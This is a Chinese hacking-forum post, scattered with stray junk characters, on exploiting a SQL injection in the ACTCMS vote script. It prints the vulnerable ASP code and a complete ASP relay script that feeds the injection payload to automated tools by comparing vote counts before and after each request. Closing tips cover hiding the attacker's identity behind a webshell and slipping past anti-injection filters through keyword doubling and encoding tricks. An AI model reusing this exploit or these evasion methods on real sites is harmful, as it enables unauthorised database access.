1 o7 \8 m4 Z( e; U1 a$ j' @看到ninty大牛的blog的一篇文章
0 t" y W# t& C+ J* @# S链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
( G7 F% E1 W, ?关于actcms漏洞的利用 by 3x qq:381862589
3 o$ Z8 E, |9 n# j+ x" u转载请注明以上
8 d1 G1 m1 j. {% r: n& D2 K. g漏洞文件:
9 s! u ] v5 l2 q3 F/plus/vote/vote.asp7 a% w$ l& \0 [/ |" O7 ?: {3 t
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then 0 C8 A$ P$ [2 v( W7 u. r( _& j
& G: b/ C; M' c5 M' N1 c) D( |7 t2 response.write "<script>alert('请选择投票项目。');window.close()</script>" 3 S O4 Q! b/ t* u, A: _- j
2 I( N6 D. F* S' k2 X% [- O3 response.end
7 {0 u# j- G& v9 D# I* E
1 L4 Q8 K* G. G3 `4 end if $ D N q2 e3 ~7 q/ \$ R
$ s ]# Y$ Z3 e$ Q; \2 j s7 d3 a
5 for i=1 to request("voted").count / W8 X; L" C. j, U4 V2 I- s
1 L- ~! t) e7 g6 actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i)) 8 U/ H. X1 ^' g: o* q2 V0 k
' Q" N0 D/ g3 c7 |' c
7 next
3 d p @7 `& q2 k- |% b; M! v$ z s6 K/ ?% @: N
8....
4 x8 }% ^; m5 q# F/ \# X) w5 A4 P
4 d b! ~0 W. _+ ]- R( J9response.Redirect "index.asp?id="&id&"" / X. {$ b8 E) I* A+ L
投票结束回跳转回index.asp这个投票结果页面
& ]/ ^0 |! f/ }$ c W- J! X# l% W如果投票成功票数加1
W4 A8 Q5 z! { O, ^! [6 ` 失败票数不变
5 `( X8 r' i: }" ?' }5 |% i如图: C: {8 j% k# X1 x5 o7 d }
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)! L6 i: o! M" m$ |
& c6 ^* T+ ] n% ^% S2009-12-27 13:20: G d) G; Y. C
7 a* `) I% D) P& |利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了
7 ~/ J2 ^. A4 d' H$ S+ S. E/ P
4 }2 E8 |7 K5 z/ \: p* @& g) v本帖隐藏的内容需要回复才可以浏览
p- L3 ]% E- D9 S, Z8 y我们用注入中转来实现这个注入具体代码如下:
6 `" {* c. j: E9 z" ~- X1 h% J先用寂寞的刺猬大牛的注入中转生成jmget.asp
$ Q/ [' x% u5 O8 ~3 c( N注入地址:http://localhost/actcms/plus/vote/vote.asp& P4 K; K7 X9 x- l1 ]
注入键值:id=1&voted=-1 or 1= '这里这样换的话就有学问了,不用去判断有什么投票选项0 b2 K9 P. e2 I. e# P- ^; p+ j( D* ]4 k
/ ]( Z* G6 X1 i+ \3 T: D6 b+ r然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<%
% R; _% H/ |( a
9 M1 {1 M: {# O1 `7 D' u02JmdcwName=request("jmdcw") + M5 \' M0 r! q$ P& Y
' F9 |& W2 } y! E! L4 p. T% e
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] - M' H0 s: ~! @/ }3 V7 M$ G
' }8 H8 i @0 P5 ^/ K- E# I04JmStr="id=1&voted=-1 or 1="&JmdcwName
- c" u5 C$ n+ `/ Y; U1 y5 {% Z( N3 k6 e
05JmStr=URLEncoding(JmStr)
6 H+ W1 k% t* u6 K( o" n- ^) ?5 \* _- q# o3 L1 |5 L
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
, g# e/ V0 A, `! v7 ^: a
( G) @( z2 u2 O9 P( n& z% ~+ |07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
# m3 w) F' a- Z! i0 t( n; {7 h9 p' x$ s& \3 b- D
08testurl=testurl & "?" & JmStr
7 G( A5 I) k" a. X; q
. \9 [6 i/ n! O% A7 R5 ?09JMUrl=JMUrl & "?" & JmStr
9 I1 o6 |' E: O6 {6 k/ G$ H j
4 c8 N% v* u" L3 S; M2 b10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"5 f0 @9 i+ p) \% ^
4 r) q9 X) z+ Y" S9 G4 Q11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"
; C7 I: H% E1 ]0 A
|; g2 k+ ~8 q& u: M; n12JmCok=replace(JmCok,chr(32),"%20")
X5 C* k: l8 P$ B. j7 Q8 x3 |6 l; f1 `$ E8 E
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
) t3 t8 C3 T+ X; {$ f& _; q$ `& B
6 v, W y) [# a- ?( g5 n14
+ w9 ^3 Z9 b: P: y, v6 n0 K L
) _2 t; Z$ R1 S& s- Y A15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票 / x2 {. Z& L$ `
$ n+ L5 V1 K1 v16 2 L; p4 G7 _% @! H8 h9 w
9 c% [1 ^5 k. P' B1 h17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
+ ?3 W2 w7 }0 Q. ?7 o( @8 i( ^7 ` s. O9 J4 D7 q+ N
18response.write test1&""&test2&""8 G# H+ N0 ^. f7 s! H
. c1 I4 `( a( k9 _, f8 C" E19 ) l4 ?/ J, E3 t
! i: l8 I! o" H: x+ @. z1 r
20if test1=test2 then '如前后记录相等,表示失败
/ @9 R2 Z4 V3 W
5 @5 V: E3 F1 u6 ~2 L& a21 response.write "failed". N& ~- P' N4 l. p( Y* _7 t) U
) q3 }9 @; t8 e. \. X( L9 T
22else
+ P, F2 f: Y9 u" O3 U( T3 s( ~! q6 S& Z0 _
23 response.write "succeed"
; j' Q4 I' I0 k* o* }" I9 ^' d; x0 D$ h6 h
24end if
8 o+ L1 J* _0 l4 R& n. J; N: _
2 i; y3 R# H2 q ]25 " H# Y. K0 d$ L/ r' T, T9 l. @
& S2 ?! {' X, H0 u b/ [! \ a26response.write "by 3x"
+ O- }$ k. i1 Z2 R; A S7 g9 q, V6 v
27 , `+ o( s' G6 V* Q: K
7 {0 B2 m0 w, G" A% x5 z
28
]3 c) F5 Q4 o; w
( _- s, F9 r% \. }4 g7 F0 _29Function PostData(PostUrl,PostStr,PostCok,PostRef) 5 c, ?, c" z3 }5 B9 A# r
8 n" f0 f9 q* [" _1 D9 e
30Dim Http 8 X) B- k# @" Y I& l5 q I
2 {: A2 J: q' e9 b2 V, p" M1 j31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
) w# }2 T/ a$ L0 I ?) |! P/ @- q
' j# e6 c" b2 |- I$ _& a32With Http
/ |# N0 Q& I- e5 t: i% l0 C3 H5 W' D! K3 T) Z5 o: |$ [9 b+ }# P
33 3 H6 N. ^! v; |
" m, q0 n" e- P, [. [# r
34.Open "GET",PostUrl,False9 x& z/ F0 \, t4 ] E
9 s- D! t2 Q( I4 v8 _ {' e35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"
8 J- k- C' o, q1 I. V
]5 ]* R; Y$ X) b% }. p1 m36.SetRequestHeader "Referer",PostRef % N; e% D- T9 L) E: P4 ^( w6 I
, _* Z8 `* E8 b/ H+ O37.SetRequestHeader "Cookie",PostCok
+ f" w' Q. |8 M+ E8 A* u- X+ p1 ^( _1 {% z% `
38.Send () / e0 j1 w0 I! ^0 o9 M1 ^- g
* y1 X% h3 ~( B$ f39PostData = .ResponseBody ! _, o4 |( d* E* S% R) T/ q
7 F) R8 a/ [) e6 h, m
40End With
6 T; t7 {" a: E" K- K
* i( K: n" g# u6 u( @6 `) I41Set Http = Nothing# i. b! r, O- q3 F: v
3 f* X: R. z% V/ y. Y42PostData =bytes2BSTR(PostData)
* H6 B6 z o& y" e1 h7 N& c o% }1 A y
43End Function
2 }$ p6 D% D; P) H5 ?" m) r
+ y' w; A# ] h$ R% ^44
i8 u+ P! Z2 H
9 I! D) P: Y* f+ [3 O45 # A/ c8 X9 n& F; Y1 C1 [! e
1 Y' {( u% M) G4 j* D7 R9 v2 i+ n9 C46Function bytes2BSTR(vIn)
* ^5 d# [ |. N4 C& @2 L
& H1 A% w( M Q0 e47Dim strReturn ' E# L t% }0 _/ U: S6 [
1 m$ ]8 J" n! S! w; H6 h# Q& V48Dim I, ThisCharCode, NextCharCode
* o: _& R+ A2 `7 g: K3 V# S% c* k
% O! X+ u4 v: y' ^' H1 X6 k9 l& O49strReturn = ""+ v8 b# H& H9 Z% w
0 P. n6 Y+ U# o3 L/ l7 L& ~# q50For I = 1 To LenB(vIn) 7 }" ]6 k% [* t. B3 |% ^
; W L. F: Y8 y w t51ThisCharCode = AscB(MidB(vIn, I, 1))
& @7 v- C8 p" p
- T3 [+ Z1 a; L2 `/ ^52If ThisCharCode < &H80 Then
" x. U# c4 v* n" H/ U: ~* O
! e- P0 G3 y$ D3 x53strReturn = strReturn & Chr(ThisCharCode)
c* s; ?- q4 W& v; G4 E% k/ e0 `0 u
o5 F5 @( ^' S: L54Else( i7 v+ R( j$ a
5 A4 {% s W! R1 o! `' V' R5 f% F55NextCharCode = AscB(MidB(vIn, I + 1, 1))
7 U( K" X/ c7 W; ~ b+ T) n. T( K# m" x4 b
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) ) G' \" {% N5 {3 T
- t: f; K' \) f) ]5 l5 t57I = I + 1 F+ [' j& T' @1 w' p3 c
5 q2 z1 e) A. l m2 v58End If
8 T! L9 C; c. A& v+ S9 J
' Y1 _* a, {7 h# \& o3 |/ O59Next6 Y) n5 G5 D+ c" K2 s9 ?" y0 w
3 q, I/ n0 Z6 F3 B
60bytes2BSTR = strReturn
) @& ~& N2 j9 g/ m0 H! `7 T* ?+ R- s, @& x7 L
61End Function/ [5 L$ K2 s# z- ?2 w* q3 o1 [
: u$ I( j) t9 o9 N5 i62
( G0 F6 x+ U, {0 ^5 G1 q
8 @! h$ p2 F& {0 r63Function URLEncoding(vstrin) 4 y$ P& Z$ [3 d0 T0 c$ G
2 S+ X0 F- k; l4 m1 \' s( t% M64strReturn=""7 H* T6 v! e8 G' T4 W# n" s
( k7 _) u1 ~! D J65Dim i 1 d {& W# l! y
7 X& Q" y5 }) `2 {8 V& t
66For i=1 To Len(vstrin) + i2 M7 u7 [/ a- C2 C$ K
6 w1 z9 K! t( Z# b/ b0 R5 O% M
67ThisChr=Mid(vstrin,i,1) 0 f5 W8 z2 ]9 A% Y
- ]( ?8 n* z% u% a1 L68if Abs(Asc(ThisChr))< &HFF Then
s& \; y- J3 H' D5 P7 r- o. P* ~# @ ~+ v
69strReturn=strReturn & ThisChr
! b2 @ K; L3 @. ]# n/ \% c+ k/ x; E! s- y1 m# x# j
70Else
+ ^# z# \/ M8 U Q- E! ^4 {% ?8 J7 G( O1 P5 |* Y* `$ u
71InnerCode=Asc(ThisChr)
1 N9 j* \- N/ M6 M( g k9 n) }9 F2 Z3 o- e% D' s: t
72If InnerCode<0 Then
! K5 z% W/ k4 D" x8 \! B- H1 e+ ^& h8 I5 r
73InnerCode=InnerCode + &H10000
; Z/ E, a" X! e* O/ U/ N- ]- R4 I# e$ v1 u
74End If
& g$ k- s: }( O# C% b, o3 h. `; X- y8 g' s& C' w
75Hight1=(InnerCode And &HFF00) \&HFF / ~; ]# }5 u8 G9 q+ j$ s" |+ |
1 K4 l7 e9 C* l% ]76Low1=InnerCode And &HFF
A' q( O4 J/ Q9 G- j
) w: r" {3 O; a$ r9 C77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) . Z u; O) C6 L
: z, Q; @) @5 M+ O9 l8 \78End if 0 K$ e, \1 R8 q& @# ~3 I
) A; b& R( e; N8 u5 x$ e$ B% d
79Next
3 C0 Z, X9 C5 [1 f" b2 @5 M4 h8 r* w! g
80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 4 n8 k9 _/ \) {4 S- l
" l6 ?3 O( Q w: ~, d81strReturn=Replace(strReturn,chr(43),"%2B") 'JMDCW增加转换+字符
6 g5 l2 K a0 u2 t) D4 |
( `0 N" `; Z/ }5 x6 e, `+ D7 D82'strReturn=Replace(strReturn,过滤字符,"转换为字符") '在此增加要过滤的代码
+ z! P1 U9 A( b, U9 h' h$ j. @6 c. ?2 R2 U. |) Q
83URLEncoding=strReturn 0 s# m! }! i- m; d2 y# Q
2 S. ?) [2 p% q# l+ m; I) B. a' n84End Function4 M! I+ q; H9 N$ g
# a! ^8 j+ t) e85
5 w C7 d% ~* \2 t- t& I. z( B7 b1 H3 E
86function getSt(body)
& O y! z" R+ L/ b# D
# w; }( A1 D& j' i- G0 u87 startpot=instr(body,"投票人数:")+len("投票人数:")
" \: G3 K% k6 L! B7 F1 c% `4 _1 i& x5 {' D- t
88 endpot=instr(startpot,body," ") i* U, U. Q* N/ k6 j% N& C
' v6 M/ l9 w% X4 A/ ~4 e0 v89 getSt=mid(body,startpot,endpot-startpot) 8 Y, w% t4 r7 ~0 E' y
3 E3 _0 }* L0 \( X( V9 K% ~2 y) v90end function - `2 a6 N% T& Z/ l. X
# x& i5 F' J* n91%>
; F* j$ r% q% u注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了, `4 M4 C7 M, M
测试下效果:8 D. X) y& U, A! G6 B* O: p
投票成功:
, \3 V* A! D9 k* uhttp://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
- [0 h5 T9 d+ a* {/ s7 E+ g
( s' C( @% C! ?+ Z- E2009-12-27 13:297 |3 `1 U2 ~, e. g; |9 S' k
投票失败: F; n% S$ p) V( _* g2 ?! k
http://www.t00ls.net/images/default/attachimg.gif http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
) _0 y0 n/ I% K4 X! M
: C- B8 e. t5 I! j. a8 j/ V% U7 h! j2009-12-27 13:29
0 ?) P7 F s: j-------------------------------------------------------------------------------0 u) H* [8 N% g. w
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
9 Q f. i8 R- `8 c w很抱歉。。。只能用单线程工具去注入。。。。。, W S1 b0 }, g) L+ c
所以失败。。。不好意思。。。8 X7 B% d8 [) \( I
-------------------------------------------------------------------------------3 _' Q) g, _/ o. |
" Z$ m5 M, x1 e& A
注入中转的一些其他应用
8 h( Z* h9 i% J+ _: ]6 p其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了5 C1 Y; H+ |5 }: B0 y
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id1 {2 {) t9 H) q+ C$ ^7 n' m
2.post注入转成get型的注入,方便我们使用工具来跑) y: d9 ^* t0 y" W# ~
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")/ h" l" ?9 V0 M0 k
4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过' e- Q l, F0 M3 K; k) z
0 q, N( u5 X3 c* ` |